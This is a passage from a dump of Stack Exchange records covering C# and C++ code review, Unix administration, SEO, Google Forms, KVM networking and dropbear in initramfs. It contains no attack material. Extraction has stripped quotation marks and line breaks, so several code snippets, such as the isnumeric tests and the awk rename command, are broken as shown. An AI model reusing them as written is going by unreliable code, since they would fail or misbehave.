SudokuTile(p.X, p.Y, _maxValue)})                  .ToDictionary(kvp => pkv.Key, kvp => kvp.Value);}It takes the IEnumerable<Point> returned by the modified Box method, selects each point into the Key of a KeyValuePair and a new SudokuTile as the vale, and then ToDictionary selects the Enumerable into a dictionary, which gets assigned to tiles.  (C#: 1, Java: 0) Lines of code: 1.In SudokuRule, your private fields can be marked as readonly.This is only a partial review, I'll write more after I've implemented my own solution - I purposely haven't looked at your puzzle-resolution code :)Overall looks quite good (except for all that static stuff that doesn't need to be, but that's dependency-injection me talking, doesn't make it any worse c#, but testing might be more enjoyable with non-static dependencies), It's great that you gave C# a bit of lovin' this week. I know Visual Studio isn't Eclipse, but I can assure you that VS with ReSharper would have made it a similar experience (and could have shown you some LINQ tricks!), at least in terms of code inspections (R# makes VS actually better than Eclipse... but I'm biased, and drifting, so I'll keep it at that!)...I like how your Solve() method yield returns all found solutions.That said, if your entire project is compiled into 1 single assembly (.exe/.dll), your usage of the internal access modifier is equivalent to public - internal basically means assembly scope, so an internal type or method cannot be accessed from another assembly; if there's no other assembly, everything in the project can see it, so I don't see a point for internal here.Not much left to say, except perhaps method IsValuePossible might be better off as IsPossibleValue, but that's mere nitpicking. Very neat, I'm jealous.One last thing - this piece of list-initialization code:var queriesForBlocked = new List<IEnumerable<SudokuTile>>();queriesForBlocked.Add(from pos in box(BoxSize, BoxSize*2) select board.Tile(pos.Item1 + DefaultSize, pos.Item2                            ));queriesForBlocked.Add(from pos in box(BoxSize, BoxSize*2) select board.Tile(pos.Item1 + DefaultSize, pos.Item2 + DefaultSize * 2 - BoxSize));queriesForBlocked.Add(from pos in box(BoxSize*2, BoxSize) select board.Tile(pos.Item1                            , pos.Item2 + DefaultSize));queriesForBlocked.Add(from pos in box(BoxSize*2, BoxSize) select board.Tile(pos.Item1 + DefaultSize * 2 - BoxSize, pos.Item2 + DefaultSize));Could use a collection initializer and be written like this:var queriesForBlocked = new List<IEnumerable<SudokuTile>>    {        { box(BoxSize, BoxSize*2).Select(pos => board.Tile(pos.Item1 + DefaultSize, pos.Item2)) },        { box(BoxSize, BoxSize*2).Select(pos => board.Tile(pos.Item1 + DefaultSize, pos.Item2 + DefaultSize * 2 - BoxSize)) },        { box(BoxSize*2, BoxSize).Select(pos => board.Tile(pos.Item1, pos.Item2 + DefaultSize)) },        { box(BoxSize*2, BoxSize).Select(pos => board.Tile(pos.Item1 + DefaultSize * 2 - BoxSize, pos.Item2 + DefaultSize)) }    };Each item in the collection initializer actually calls the .Add method anyway, so it's completely equivalent. Except it's 1 single instruction now."  } 
{  "id": "_softwareengineering.84908"  , "question": "So much of development is now done online to take advantage of interconnectivity and shared resources. In a prolonged Internet outage, how can one cope with the lack of that connection? Are there ways to replicate or work around the innumerable benefits the Internet adds to development?"  , "title": "How can I program effectively during an Internet outage?"  , "tags": "internet"  , "accepted_answer": "There was programming long before the internet. We had books, we had periodicals and we met in real life maybe more often than we do today. First question would be: What does 'prolonged' mean? Two or three days? If you feel paranoid about such a situation, you can secure the core of your working environment by having local copies of the most important websites you need as reference and manuals. In addition you could make sure to download some tools, plugins and other material you may use some day.If you don't have such backups, it's just a question of organizing your work. There is always some minor stuff I wanted to do all the time, like adding a few more tests, finding a less important bug or extending the manual of my application to cover the latest features I added. Or simply adding another new feature for which I don't need material from the web as reference.But a week? And how large would you think the area affected? Your company? A city? A country? The whole world? If the internet went down for the whole of my country (Germany) for more than a few days I guess we would have other problems (civil war?) than to worry that much about details of our work. Though the civil wars in Northern Africa have shown, that it still is an important piece of the infrastructure and in some cases I know that for some people work went on, wile there was fighting in the next city.What about the phone lines? Would they still work? If yes, you can fall back to using a modem (as back in the 90s) to stay in some contact with customers to send them updates or exchange some email. Though where would you get a modem soon enough, especially if everybody wants to buy one?If we would have to expect this to happen for a very long time, we would need to restructure the complete infrastructure to whatever still works.Assuming this would happen to your company only (which seems more reasonable), maybe because of some prolonged construction work in it's building, then you should prepare with backups of important material. In addition I would allow every developer to take an hour off or two each day to go to the next internet cafe. Or ask a friendly company in the neighborhood if we may be allowed to use their resources, maybe rent some office space in a nearby building, where our workers can get email and stay in contact. Prepare customers in advance, that responses to email may take longer than customary. Buy a big load of smartphones, so people can still have minimum access to important material.Actually something like this happened to a company I worked for. It was the launch day of my very first website and thanks to a construction site nearby the main cable for our office building was cut this very morning. Launch to be 12:00 am, no messing about that time, since advertised for months by the customer. We took our laptops and went to Amsterdam Central Station (five minutes walk) and launched it from there (adding better coffee ad breakfast than we had in our office). This worked well enough for a few hours. Though if we would have had bugs in the code (luckily not) it could have become difficult to fix them.In the same company we had for several weeks an internet cable from our neighbor office running into our room, since they were waiting for their slow provider to fix their connection."  } 
{  "id": "_unix.216105"  , "question": "I want to force a fsck run on my root filessystem on my Gentoo system running systemd.I've triedadding an empty forcefsck file at the root of the filesystem which I want to check, e.g. touch /forcefsckadding fsck.mode=force as kernel boot parameterNothing worked so far. What's the right approach?"  , "title": "How to force a file system check on the next boot of the root file system on Gentoo running systemd?"  , "tags": "systemd;gentoo;fsck"  } 
{  "id": "_softwareengineering.208154"  , "question": "I watched Stuart Sierra's talk Thinking In Data and took one of the ideas from it as a design principle in this game I'm making. The difference is he's working in Clojure and I'm working in JavaScript.  I see some major differences between our languages in that:Clojure is idiomatically functional programming Most state is immutable I took the idea from the slide Everything is a Map (From 11 minutes, 6 seconds to > 29 minutes in).  Some things he says are:Whenever you see a function that takes 2-3 arguments, you can make a case for turning it into a map and just passing a map in.  There are a lot of advantages to that:You don't have to worry about argument orderYou don't have to worry about any additional information.  If there are extra keys, that's not really our concern.  They just flow through, they don't interfere. You don't have to define a schemaAs opposed to passing in an Object there's no data hiding.  But, he makes the case that data hiding can cause problems and is overrated:PerformanceEase of implementationAs soon as you communicate over the network or across processes, you have to have both sides agree on the data representation anyway.  That's extra work you can skip if you just work on data.Most relevant to my question. This is 29 minutes in: Make your functions composable. Here's the code sample he uses to explain the concept:;; Bad(defn complex-process []  (let [a (get-component @global-state)        b (subprocess-one a)         c (subprocess-two a b)        d (subprocess-three a b c)]    (reset! global-state d)));; Good(defn complex-process [state]  (-> state    subprocess-one    subprocess-two    subprocess-three))I understand the majority of programmers aren't familiar with Clojure, so I'll rewrite this in imperative style:;; Gooddef complex-process(State state)  state = subprocess-one(state)  state = subprocess-two(state)  state = subprocess-three(state)  return stateHere are the advantages:Easy to testEasy to look at those functions in isolationEasy to comment out one line of this and see what the outcome is by removing a single stepEach subprocess could add more information on to the state.  If subprocess one needs to communicate something to subprocess three, it's as simple as adding a key/value.  No boilerplate to extract the data you need out of the state just so that you can save it back in.  Just pass in the whole state and let the subprocess assign what it needs.  Now, back to my situation:  I took this lesson and applied it to my game.  That is, almost all of my high level functions take and return a gameState object.  This object contains all the data of the game.  EG: A list of badGuys, a list of menus, the loot on the ground, etc.  Here's an example of my update function:update(gameState)  ...  gameState = handleUnitCollision(gameState)  ...  gameState = handleLoot(gameState)  ...What I'm here to ask about is, have I created some abomination that perverted an idea that is only practical in a functional programming language?  JavaScript isn't idiomatically functional (though it can be written that way) and it's really challenging to write immutable data structures.  One thing that concerns me is he assumes that each of those subprocesses are pure. Why does that assumption need to be made?  It's rare that any of my functions are pure.  Do these ideas fall apart if you don't have immutable data?I'm worried that one day I'll wake up and realize this whole design is a sham and I've really just been implementing the Big Ball Of Mud anti-pattern.  Honestly, I've been working on this code for months and it's been great.  I feel like I'm getting all the advantages he's claimed.  My code is super easy for me to reason about.  But I'm a one man team so I have the curse of knowledge.  UpdateI've been coding 6+ months with this pattern. Usually by this time I forget what I've done and that's where did I write this in a clean way? comes into play. If I haven't, I'd really struggle. So far, I'm not struggling at all.I understand how another set of eyes would be necessary to validate its maintainability. All I can say is I care about maintainability first and foremost. I'm always the loudest evangelist for clean code no matter where I work.I want to reply directly to those that already have a bad personal experience with this way of coding.  I didn't know it then, but I think we're really talking about two different ways of writing code.  The way I've done it appears to be more structured than what others have experienced.  When someone has a bad personal experience with Everything is a map they talk about how hard it is to maintain because:You never know the structure of the map that the function requiresAny function can mutate the input in ways you'd never expect.  You have to look all over the code base to find out how a particular key got into the map or why it disappeared.  For those with such an experience, perhaps the code base was, Everything takes 1 of N types of maps. Mine is, Everything takes 1 of 1 type of map. If you know the structure of that 1 type, you know the structure of everything.  Of course, that structure usually grows over time.  That's why...There's one place to look for the reference implementation (ie: the schema). This reference implementation is code the game uses so it can't get out of date. As for the second point, I don't add/remove keys to the map outside of the reference implementation, I just mutate what's already there. I also have a large suite of automated tests.If this architecture eventually collapses under its own weight, I'll add a second update.  Otherwise, assume everything is going well :)"  , "title": "Everything is a Map, am I doing this right?"  , "tags": "design;design patterns;architecture;functional programming"  } 
{  "id": "_softwareengineering.294908"  , "question": "How would you relate the indexes of an array to an enumerator without leaving the chance of mismatch? Examplepublic enum difficulties {   easy,   medium,    hard}public List<Lobby> easyLobbies = new List<Lobby>();public List<Lobby> mediumLobbies = new List<Lobby>();public List<Lobby> hardLobbies = new List<Lobby>();public List<Lobby>[] lobbiesArray;public ClassConstructor(){    // Index order should match enumerator    lobbiesArray = new List<Lobby>[] { easyLobbies, mediumLobbies, hardLobbies};}List<Lobby> lobbies = lobbiesArray[difficulties.hard];Because this enumerator and array are seemingly unlinked, it is not obvious that the lobbiesArray should follow any order. What is a better way to approach this?"  , "title": "Relating an array of objects to an enumerator"  , "tags": "c#"  , "accepted_answer": "You are using a wrong data structure.In your case, you may use a dictionary where keys are the values from the enum, and the values are the actual lists:var lobbies = new Dictionary<Difficulty, List<Lobby>>{    { Difficulty.Easy, easyLobbies },    { Difficulty.Medium, mediumLobbies },    { Difficulty.Hard, hardLobbies },};var currentLobbies = lobbies[Difficulty.Hard];A few notes:An array is mostly always a wrong data structure in C#. Don't use it, unless you are perfectly certain that you need the specific characteristics of an array.Unless your team has a well-established style convention (and the inconsistencies in your code makes me think that there are none), stick with the standards. This means that enum Difficulties, with a capital D. The members of an enum start with a capital too. You can use StyleCop to check for other violations (like the lack of a new line before the opening curly bracket.)Since your enum doesn't contain flags, its name should be Difficulty, not Difficulties. When you use plural, it means that you can use multiple values at once. More on flags here.lobbiesArray is a wrong name. You shouldn't have types in the names of the variables. Visual Studio makes it very easy to determine the type of a given variable, so you don't need Hungarian notation or similar constructs.ClassConstructor is a misleading name for a method, because it makes the reader think that it's an actual constructor, while it's not (unless you actually called your class ClassConstructor, which is a strange name for a class.)"  } 
{  "id": "_codereview.48438"  , "question": "I want to implement the following function:// Return true if and only if 's' is numeric including// leading positive/negative sign, decimal point.bool isnumeric( const char * s );It is somewhat similar to strtol() but I don't need to return the number.My approach is to count various things unless I can bail out:bool isnumeric( char const * str ) {  if( !str ) { return false; }  int signs = 0;  int decimals = 0;  int digits = 0;  int digitsAfterDecimal = 0;  for( char const * p = str; *p; ++p ) {    if( (*p == '+') || (*p == '-') ) {      if( (decimals > 0) || (digits > 0) ) { return false; }      signs += 1;      if( signs == 2 ) { return false; }    }    else if( *p == '.' ) {      decimals += 1;      if( decimals == 2 ) { return false; }    }    else if( ! isdigit( *p ) ) {       return false;    }    else {      digits += 1;      if( decimals > 0 ) {        digitsAfterDecimal += 1;      }    }  }  return (decimals > 0) ? ((digits > 0) && (digitsAfterDecimal > 0))                        : (digits > 0) ;}I also have the following tests:void test_isnumeric() {  assert( isnumeric( 42 ) );  assert( isnumeric( 42.0 ) );  assert( isnumeric( 42.56 ) );  assert( isnumeric( +42 ) );  assert( isnumeric( .42 ) );  assert( isnumeric( +.42 ) );  assert( ! isnumeric( 42. ) );  assert( ! isnumeric( ++42 ) );  assert( ! isnumeric( +. ) );  assert( ! isnumeric( 4+ ) );}int main( void ) {  test_isnumeric();}To make it easy to clone and modify, the full code is available here.Please comment on design, structuring, test coverage etc. Mentioning failing tests are most welcome."  , "title": "Test if string is numeric"  , "tags": "c;parsing;unit testing;validation;fixed point"  } 
{  "id": "_webapps.41035"  , "question": "Google allows me to make the file private but I am not sure that making it private has effect."  , "title": "Can I have private files in public folders?"  , "tags": "sharing;google drive"  , "accepted_answer": "I created a public folder. When I attempt to create a new document in that folder, Google Drive tells me: Do you want to create the element in a shared folder? The created  element will have the same sharing settings as the selected folder.This suggests that I can't have a private document in a shared folder.But what if I created the document first, then made the folder public?So I made the folder private again, and created a document in it.Then I reverted the folder to public. Inspecting the document's sharing settings, it is now Anyone with the link. Then I changed the document's sharing setting to Private.Opening an incognito window in Chrome, pasting in the link to the document, gives me the Google login form.I also created a new document in the folder, without altering its sharing settings. This is viewable in the incognito window.Visiting the folder in the incognito window gives me a list containing only the public document. When logged in, I see both documents.So yes, it does seem you can have a private document in a public folder. The folder's setting merely acts as a default for documents in that folder with no explicit setting."  } 
{  "id": "_unix.375946"  , "question": "I am trying to prevent a script from being invoked remotely. User need to SSH login instead first and then run the scriptssh remote-server script.sh should failssh remote-server and after login./script.sh should workI can change the ownership and apply chmod, but then the remote user can use ssh remote-server sudo -u newuser ./script.shUsing AWS EC2 instance"  , "title": "Prevent script file to invoke remotely using SSH"  , "tags": "ssh"  } 
{  "id": "_webmaster.50690"  , "question": "I'm using WooCommerce and have selected shop page as homepage in WordPress settings. Therefore http://www.example.com and http://www.example.com/shop are one and the same page.In this case what I should do? Use canonical element in header or 301 redirect?I have read several things about both, but I'm unable to judge what's perfect for this situation. I'm here to seek some advise from SEO experts."  , "title": "SEO advise for WordPress WooCommerce"  , "tags": "seo;wordpress;301 redirect;duplicate content;canonical url"  , "accepted_answer": "If you want the shop webpage as homepage and if two webpages have the same content, you should apply a 301 redirect from http://www.example.com to http://www.example.com/shop. You need to do this to avoid duplicate content.Moreover, I think it's useless to show two webpages with the same content to your visitors, it's a little bit confusing. That's why you should apply 301 redirect instead of rel=canonical."  } 
{  "id": "_unix.159344"  , "question": "I am trying to better understand the network setup in my machine. Host Machine SetupI have a wireless interface (wlan0) on my host machine which hasthe IP address as 192.168.1.9.The default gateway of this host is the router which goes to theoutside world through my ISP, whose IP address is 192.168.1.1.The route -n command in my host machine returns me the output as,Kernel IP routing tableDestination     Gateway         Genmask         Flags Metric Ref    Use Iface0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 wlan0169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 wlan0192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 wlan0192.168.1.160   0.0.0.0         255.255.255.224 U     0      0        0 virbr2Guest Machine SetupNow, I setup a guest OS in KVM as below. The KVM is in a sub-network which has the details as192.168.1.160/27.The DHCP start is 192.168.1.176 and the DHCP end is 192.168.1.190.I also did the below command for my KVM configuration to work.arp -i wlan0 -Ds 192.168.1.9 wlan0 pubFrom the guest OS, I see that my IP address is 192.168.1.179. My route -n command in the guest machine returns me the output as,kernel IP routing tableDestination     Gateway         Genmask0.0.0.0        192.168.1.161    0.0.0.0192.168.1.160  0.0.0.0          255.255.255.224How can I make the guest OS to interact with the outside world?EDITThis is the output of virsh net-list --all. ramesh@ramesh-pc:~$ virsh net-list --all Name                 State      Autostart     Persistent---------------------------------------------------------- arpbr0               inactive   yes           yes default              active     yes           yes proxyArp             active     yes           yes"  , "title": "setup the guest network in KVM to interact with the outside world (google.com )"  , "tags": "networking"  , "accepted_answer": "I would like to thank user slm for guiding me in the right direction in setting up the guest network in the KVM. I will add the screen shots to the answer so that it will be more informative. I assume the virt-manager package is installed and also the host machine is setup with the necessary packages for KVM to work. Preparing the Network For Guest to Host InteractionThe main step in the KVM is setting up of the network. If the machine is not available in the network, then it serves no purpose, be it physical or virtual. Type virt-manager in the terminal. The console would show up as    below.Click on Edit -> Connection Details and a new screen would pop    up as below.Click on Virtual Networks tab and from there click on the +    button to add a new network to the KVM guests.Click on Forward and then we would be presented with the below    screen. Now, the IPV4 addresses we choose here is completely up to    our choice and we could optimize this step to suit our actual needs. After we click on Forward in the above screen, we would be presented    with the below screen. In this step, it basically tells the address    space available for us.In this step, choose forwarding to physical network and select the    host's  network interface which will help the guests to interact    with the outside world.After the above step, we are almost done and we just would be    presented with the below screen, which is kind of a review of all    the details we chose so far.Adding this new device to our Guest OSFrom the initial screen of virt-manager, click on the Open and    we will be presented with a screen as below.From the above screen, click on the i to open up another screen as    below.Click on Add Hardware and select Network. In the Network tab, select the host device as our newly created network in the previous step and click on Finish as shown in the below screen.Testing in the guest OSNow, inside the guest OS make sure that you are able to ping the host machine and outside network such as google. If the ping succeeds, then we have successfully setup our network in the guest OS. ReferencesThe reference material used to setup the guest network"  } 
{  "id": "_unix.39205"  , "question": "I have embedded FreeNAS, version 8.2 beta. Now I would like to install openvpn, of course persisting between updates.I have managed to get the program itself persist by using mount -wu /pkg_add -r openvpnmount -ro /Also I got the the openvpn_enable=YES line to persist by editing /conf/base/etc/rc.confMy problem is to persist the /usr/local/etc/openvpn folder with therein my openvpn.conf configuration and key files. How can I persist those?"  , "title": "How to persist a file in /usr/local in embedded FreeNAS"  , "tags": "openvpn;freenas"  } 
{  "id": "_unix.22235"  , "question": "I have a lot of pdf files (3308) on which I must apply four steps:1) I have to convert all to jpgI found this little script on the web with ImageMagick: batch converting pdf to jpgI want to do this, but I keep my files the same name as before: foo.pdf => foo.jpgAlso I would like all images are saved in a folder in scenes2) Then I have to resize to 612x7923) Then I have to create thumbnails in 255x3304) Finally I have to rename them. Indeed, I have a csv file in which is their names and new namesHere is an example of some lines.Each line corresponds to the actual name file comma the new name. There are 3308 rows, one per file current_name,new_namefoo,barPS130_1060,55-largeAs you can see, the extensions are not displayed because the two files are in jpg format.I am completely lost, I do not know whether to use 4 scripts or if it is possible in one script. I often work in PHP, but I wanted to do a bit of bash to change, but it's a bit hot for me.Can you help me?"  , "title": "Convert pdf to jpg keeping the same name; resize & create thumbs then rename?"  , "tags": "bash;image manipulation;imagemagick"  , "accepted_answer": "You can start like this:for i in $@; do  dst=${i%pdf}jpg  convert $i -resize 612x792 $dst  convert $i -resize 255x330 ${i%.pdf}_thump.jpgdoneAnd call it like$ bash my_script.sh *.pdfFor renaming you can use another script. I don't understand your example .csv-file. Does is contain 3 lines for 3 files? Ok, this is the case.You can rename the file with following command line:$ awk -F, '{ system(echo mv \\ $1 \\ \\ $2 \\)  }' myrename.csvAwk executes the echo ... command for each line, $1 is the value of the first field of a line and $2 is the value of the 2nd field. The quoting \\ is needed in case a filename contains spaces. -F, tells awk to use a comma as field separator.If you have tested this command you can remove the echo to do real renaming of files. You can add -n to mv to avoid accidental overwrites of existing files."  } 
{  "id": "_codereview.163099"  , "question": "I want to change the legacy C-style code by using stl:for (posEmptyItem = startAt; strlen(collection[posEmptyItem]) > 10; posEmptyItem++) {}std::cout << posEmptyItem << std::endl;This code seems a bit hard to read. Anyway to do better?auto it = std::find_if(collection + startAt,                        collection + COLLECTION_SIZE,                        [](const char* line) { return strlen(line) <= 10; });int idx = std::distance(collection, it); Below a complete example:#include <cstring>#include <iostream>#include <algorithm>#define COLLECTION_SIZE      250int main(){    const char* collection[COLLECTION_SIZE]{ time11,time2,time3,                                       time12,time2,time3,                                       time13,time2,time3,                                       time14,time2,time3,                                       time15,time2,time3,                                       x\\n,                                         };    auto startAt = 2;    int posEmptyItem;    // legacy code    for (posEmptyItem = startAt; strlen(collection[posEmptyItem]) > 10; posEmptyItem++) {}    std::cout << posEmptyItem << std::endl;    // replace the loop to search an index by calling to standard library    auto it = std::find_if(collection + startAt,                            collection + COLLECTION_SIZE,                            [](const char* line) { return strlen(line) <= 10; });    posEmptyItem = std::distance(collection, it);     std::cout << posEmptyItem << std::endl;    return 0;}"  , "title": "Retrieve the index of the first element using a predicate"  , "tags": "c++;iterator"  , "accepted_answer": "For easier readability you could extern the lambda expression form the find_if():auto pred = [](const char* line) { return strlen(line) <= 10; };auto it = std::find_if(collection + startAt,                        collection + COLLECTION_SIZE,                       pred);Also make use of std::begin() and std::end():auto it = std::find_if(std::begin(collection) + startAt,                        std::end(collection),                       pred);At least (but probably not last), don't use raw arrays. Rather change collection to a std::array:std::array<const char*,COLLECTION_SIZE> collection     { time11,time2,time3    , time12,time2,time3    , time13,time2,time3    , time14,time2,time3    , time15,time2,time3    , x\\n    ,      };// Note my formatting style above, which makes it easier to extend the arrayHere's the fully refactored code:#include <cstring>#include <iostream>#include <algorithm>#include <array>const size_t COLLECTION_SIZE = 250; // rather use a const variable than a macroint main(){    std::array<const char*,COLLECTION_SIZE> collection        { time11,time2,time3        , time12,time2,time3        , time13,time2,time3        , time14,time2,time3        , time15,time2,time3        , x\\n        ,      };    size_t startAt = 2; // care about the correct type. auto would leave you with int    // replace the loop to search an index by calling to standard library    auto pred = [](const char* line) { return strlen(line) <= 10; };    auto it = std::find_if(std::begin(collection) + startAt,                            std::end(collection),                            pred);    auto posEmptyItem = std::distance(std::begin(collection), it);    std::cout << posEmptyItem << std::endl;    return 0;}See Live Demo"  } 
{  "id": "_unix.363291"  , "question": "I've mounted an Amazon EBS volume on /media/scientist/data1.scientist is the username.However, once in scientist, I can't do an ls command on it. See as follows:scientist@ip-10-30-10-239:/media$ ls -ltotal 4d-wx-wx--x 3 scientist scientist 4096 May  5 19:24 scientistscientist@ip-10-30-10-239:/media/scientist$ lsls: cannot open directory '.': Permission deniedHowever if I go in one directory further it works finescientist@ip-10-30-10-239:/media/scientist/data1$ lsintex  lost+foundThe command I ran was sudo chown -R scientist /media/scientist."  , "title": "Linux permission on mounted drive"  , "tags": "files;permissions"  , "accepted_answer": "You do not have read privileges on this directory: d-wx-wx--x.Directory ownership does not give you privileges to read it's content.To fix that problem, run the following command:sudo chmod u+rwx media/scientistI encourage you to read:[chown manpage][chmod manpage]"  } 
{  "id": "_webmaster.104054"  , "question": "I'm having quite a problem. A client's site speed is quite poor, both in GTmetrix and Google Insights. After doing all the usual stuff and good practices I managed to get it to 98% in GT (from 65) and 70 in Insights (from 54). However, those numbers are only real if I don't use GTM.If I use GTM, it starts to add external resources like mad, see example below (edited for privacy)https://mpp.mxptint.net/3/19718/?rnd=1379868585https://idsync.rlcdn.com/887036.gif?partner_uid=R4E83E_8DAB07C8_16BF9C8Dhttps://idsync.rlcdn.com/887036.gif?partner_uid=R4E83E_8DAB07C8_16BF9C8D&redirect=1https://sync.mathtag.com/sync/img?mt_exid=10017&redir=https%8A%3F%3Fidsync.rlcdn.com%3F47154.gif%8Fpartner_uid%8D%5BMM_UUID%5Dhttps://sync.mathtag.com/sync/img?mt_exid=10017&redir=https%8A%3F%3Fidsync.rlcdn.com%3F47154.gif%8Fpartner_uid%8D%5BMM_UUID%5D&mm_bnc&mm_bcthttps://idsync.rlcdn.com/47154.gif?partner_uid=db8a58ae-e040-4b00-be05-7b8d7e8a7e74Remove the following redirect chain if possible:https://googleads.g.doubleclick.net/pagead/viewthroughconversion/988097477/?random=1487790148053&cv=8&fst=1487790148053&num=1&fmt=8&guid=ON&u_h=861&u_w=1034&u_ah=861&u_aw=1034&u_cd=34&u_his=1&u_tz=-480&u_java=false&u_nplug=1&u_nmime=3&frm=0&url=https%8A%3F%3FxxxxXXXXXxxx.com%3F&tiba=xxxx%30XXXXX%30xxx%30%7C%30Your%30health.%30Your%30XXXXX.&async=1https://www.google.com/ads/user-lists/988097477/?fmt=8&num=1&cv=8&frm=0&url=https%8A%3F%3FxxxxXXXXXxxx.com%3F&random=8019846090&fpvtc=/988097477/%8Frandom%8D665770418%36cv%8D8%36fst%8D1487790000000%36num%8D1%36fmt%8D8%36guid%8DON%36u_h%8D861%36u_w%8D1034%36u_ah%8D861%36u_aw%8D1034%36u_cd%8D34%36u_his%8D1%36u_tz%8D-480%36u_java%8Dfalse%36u_nplug%8D1%36u_nmime%8D3%36frm%8D0%36url%8Dhttps%358A%353F%353FxxxxXXXXXxxx.com%353F%36tiba%8Dxxxx%3530XXXXX%3530xxx%3530%357C%3530Your%3530health.%3530Your%3530XXXXX.%36async%8D1https://www.google.ca/ads/user-lists/988097477/?fmt=8&num=1&cv=8&frm=0&url=https%8A%3F%3FxxxxXXXXXxxx.com%3F&random=8019846090&fpvtc=/988097477/%8Frandom%8D665770418%36cv%8D8%36fst%8D1487790000000%36num%8D1%36fmt%8D8%36guid%8DON%36u_h%8D861%36u_w%8D1034%36u_ah%8D861%36u_aw%8D1034%36u_cd%8D34%36u_his%8D1%36u_tz%8D-480%36u_java%8Dfalse%36u_nplug%8D1%36u_nmime%8D3%36frm%8D0%36url%8Dhttps%358A%353F%353FxxxxXXXXXxxx.com%353F%36tiba%8Dxxxx%3530XXXXX%3530xxx%3530%357C%3530Your%3530health.%3530Your%3530XXXXX.%36async%8D1&ipr=y&ulfeg=nAnd it gets me down to 87 in GT and 60 in Insights, not to mention the load speed grows 1 second. Take GTM off... back to high speed. Add it again... horrible.SO my question is: is there a way to load GTM without affecting load times? I could take a small hit, just not this ridiculously bad (note: teh GTM code came with the site, so there's a chance it's wrong)"  , "title": "How can I improve site speed while using Google Tag Manager?"  , "tags": "google analytics;page speed"  } 
{  "id": "_unix.102515"  , "question": "I am new to Linux and Unix environment. I have built a Pro*C API for C++ and Oracle interaction, which much more easy to use than the conventional Pro*C technology.If you are using Pro*C then you might be aware of its pain. That, you need to write .pc file, then using Oracle precompiler, you need to compile the code to get .cpp file, then again compile it to get the .o (executable file). To make the process easy I created an API which provides the programmer with built-in classes and functions, so that he/she can implement it to boost the development of C++ and Oracle SQL.Now, I want to host the API as a freeware so, that one can download the API using apt-get to their respective system. How can I host my file over apt-get?"  , "title": "Host freeware API over apt-get"  , "tags": "apt;repository"  } 
{  "id": "_computerscience.292"  , "question": "I don't know any shader languages. I've heard of GLSL and HLSL, and I'm interested in learning one or both.Are there significant differences between them that would make one or other better in certain situations? Is it useful to know both or would either cover most needs?I don't want vague answers indicating personal preference. I'm looking for specific measurable differences so that I can decide for myself which will suit me best. I don't have a specific task in mind - I'm hoping to discover whether there is one or other that I can learn and then apply to any future tasks, rather than having to learn a new language for each new task.If there are other shader languages which I have not mentioned I would be interested to hear the comparison for those too, provided they are not dependent on any particular GPU manufacturer. I want my code to be portable across different graphics cards."  , "title": "What factors affect which shader language to learn?"  , "tags": "gpu;glsl;shader;hlsl"  } 
{  "id": "_cogsci.16208"  , "question": "Well I hear this saying all the time, and one guy said that we should all just admit that this means that some folks are not smart enough for college."  , "title": "The saying College is not for everyone...is that just euphemism for those who are not intelligent?"  , "tags": "cognitive psychology;intelligence;educational psychology;iq;procedural memory"  } 
{  "id": "_unix.32599"  , "question": "I wanted to make a script which ran automatically on login so I put it into the file ~/bash.profile, but it didn't run. When I put it in bashrc, it ran on opening a terminal.What I was doing in the script was accessing a file in the pictures folder.I just added ./script.sh in ~/.bash_profile. How to make it run on login?I'm using Unity on Ubuntu 11.10."  , "title": "Auto running bash script on login"  , "tags": "bash;ubuntu;login;profile;unity"  , "accepted_answer": ".profile and .bash_profile are files that are sourced by bash when running as a login shell such as when logging in from the Linux Text console or using SSH. They are not sourced when loading a new shell from an existing login such as when opening a new terminal window inside Unity or other graphical environment. .bashrc on the other hand is only sourced for non-login shells, though sometimes distros will source .bashrc manually from within the default .bash_profile.  One workaround is to change Gnome Terminal to load the shell as a login shell from it's profile preferences, but then that would run every time you open up a new terminal window.  Another option is to add it to the list of Startup Applications as suggested by @jrg."  } 
{  "id": "_webapps.73478"  , "question": "I am designing a Google Form for managing a congress registration process. I need to have a unique ID number for each registration and I found an answear here: Can I add an autoincrement field to a Google Spreadsheet based on a Google Form? It was certainly very useful, but there is one litle problem I cannot solve. As the form has non required fields, the answears are different in length, so the ID is placed in different columns. I think the line in the code that controls the column where the ID is placed is this one: 21. var column = eventRange.getLastColumn() + 1;Is there a way to place the ID in a specific column, say column C?"  , "title": "Auto increment ID in Google Forms"  , "tags": "google spreadsheets;google apps script"  , "accepted_answer": "Just replace eventRange.getLastColum() + 1 with a number. Column A is 1, B is 2 etc.So if you want the ID to be placed in column C, change the code tovar column = 3;"  } 
{  "id": "_webapps.51779"  , "question": "I'm the sort of person who doesn't like to unfriend people on Facebook unless I actually dislike them, so I have quite a few friends that post stuff I really don't care about. Naturally, when I discovered that you can set people as acquaintances I went through my list acquaintancing people. This worked quite well for a while, but recently the little ticker thing above the chat sidebar has been full of updates from acquaintances. My newsfeed is still only stuff I actually care about, but the ticker is about 70% stuff that doesn't interest me, so I want to see if I can get it back to how it was before.Is this just how acquaintances work now, or is there something I can do to keep my acquaintances out of the ticker?"  , "title": "Acquaintances Showing up in Facebook Ticker"  , "tags": "facebook"  } 
{  "id": "_unix.125060"  , "question": "This is mostly aimed at Debian/Ubuntu, but I feel savvy enough on a variety of distros to be able to adapt the solution for one distro to another.Here's my scenario. There are a few situations when the boot process will drop you to the shell (usually busybox) of the initrd. Most notably whenever you run a hardware RAID for which drivers have to be rebuilt for each and every new kernel revision. I'd like to be able to access the rescue system the same way as I would access the fully booted system.I reckon it'd be possible to put static builds of the shell(s) and sshd (OpenSSH or dropbear) into the initrd and have been looking for an existing solution that I can adjust to my needs.Assuming there is no existing solution (since I have searched for quite a while) what do I need to consider aside from using static builds where possible (or supply the libs)? Is it reasonable to simply cache a static build of dropbear and use /etc/initramfs-tools/hooks to embed that along with a converted OpenSSH sshd_config and the original host keys?"  , "title": "Are there any canned solutions for running sshd in the initrd?"  , "tags": "linux;sshd;initrd;rescue"  , "accepted_answer": "Ubuntu 16.04 contains a package called dropbear-initramfs which is supposed to provide this feature.Lightweight SSH2 server and client - initramfs integration dropbear  is a SSH 2 server and client designed to be small enough to be used  in small memory environments, while still being functional and secure  enough for general use.It implements most required features of the SSH 2 protocol, and other  features such as X11 and authentication agent forwarding.This package provides initramfs integration.The only items I needed to adjust in addition to installing said package where:Uncomment the commented out DROPBEAR=y inside /etc/initramfs-tools/conf-hooks.d/dropbearConvert my existing host keys (see below)Create and populate /etc/initramfs-tools/root/.ssh/authorized_keys. For this I opted to 